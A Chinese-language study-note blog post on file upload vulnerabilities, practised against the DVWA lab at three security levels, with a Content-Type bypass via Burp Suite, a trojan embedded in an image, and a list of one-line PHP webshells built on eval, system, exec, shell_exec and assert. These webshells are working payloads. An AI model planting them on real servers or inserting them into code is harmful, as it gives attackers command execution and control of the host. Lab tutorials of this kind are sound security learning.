《学习笔记114》—— # 文件上传漏洞 # 基于OWASP的文件上传漏洞

文件上传漏洞介绍:

正常的文件上传一般指图片、视频、文档等,web应用收集之后放入后台或者数据库存储,需要的时候再调用返回。
如果存在文件上传漏洞,黑客可以将恶意文件,比如php、jsp、asp等脚本文件上传到服务器,绕过web应用程序执行,效果相当于黑客直接拿到服务器的webshell,一旦黑客拿到webshell,则可以获取web应用的数据,删除web文件,甚至可以通过提权,进一步拿下整个服务器,还可以进行内网渗透。

文件上传漏洞和SQL注入漏洞攻击对象的区别:

  • SQL注入漏洞攻击对象是数据库
  • 文件上传漏洞主要攻击服务器

1. OWASP的文件上传漏洞

<使用OWASP的dvwa子页面中的Upload功能实现文件上传漏洞>
在这里插入图片描述
在这里插入图片描述

DVWA Security中可以修改安全级别

1.1 安全级别:low

安全级别为low下的后端代码查看。可见并为作任何的过滤,可以随意进行攻击。
在这里插入图片描述
新建post.php脚本文件如下。

<?php 
echo phpinfo()
?>

将该脚本文件上传。
在这里插入图片描述

得到url,将其替换掉原网址的#,得到完整url链接:http://192.168.192.129/dvwa/hackable/uploads/post.php
即可获取后端的php信息。

1.2 安全级别:medium

安全级别为medium的在后端做了文件类型和文件大小的限制。
在这里插入图片描述
因此直接上传是不行的,我们需要用拦截工具拦截request请求,这里使用burpsuite拦截,拦截到的post请求中将Content-Type: application/octet-stream
修改为Content-Type: image/jpeg。其余步骤与安全级别为low一致。

1.3 安全级别:high

安全级别为high的进行了文件名后缀限制以及文件大小限制。
在这里插入图片描述
因此适用于low和medium的方法在这里不生效。因此需要在上传的文件中附带木马。这里使用edjpgcom软件生成一句话木马,然后上传,获得url,最后使用中国菜刀软件解析url。

2. webshell

webshell介绍:

web后端的脚本语言一般情况下具备系统相关函数,用这些系统函数可以执行操作系统命令。如果攻击者将这些系统函数写入文件,并结合文件上传漏洞上传给web服务器,这个行为我们就称为网站挂马
这些包含了系统函数的文件我们就称为webshell文件,根据功能级别分为大马小马,例如一句话木马( 整个shell代码量只有一行 )就属于小马。

常见的php系统函数有evalsystemexecshell_execassert。下面就这几个函数进行示例。

2.1 eval函数

eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行。该函数也是国产知名shell管理工具中国菜刀使用的。

注意:eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)。
示例如下。

<?php eval($_POST['pass']); ?>
<?php eval($_REQUEST['pass']); ?>

2.2 system函数

system函数可以实现在php中执行shell命令。

<?php system($_POST['cmd']); ?>
<?php system($_REQUEST['cmd']); ?>

2.3 exec函数

exec函数用于执行系统命令。

<?php exec($_POST['cmd']); ?>
<?php exec($_REQUEST['cmd']); ?>

2.4 shell_exec函数

shell_exec函数用来执行系统命令。

<?php shell_exec($_POST['cmd']); ?>
<?php shell_exec($_REQUEST['cmd']); ?>

2.5 assert函数

assert函数是把字符串当作php代码来执行的。

<?php assert($_POST['cmd']); ?>
<?php assert($_REQUEST['cmd']); ?>

3. webshell管理工具

常见的webshell管理工具有:中国菜刀、C刀、寄生虫XISE、k8飞刀、weevely(Linux系统下)等。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Merrill He

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值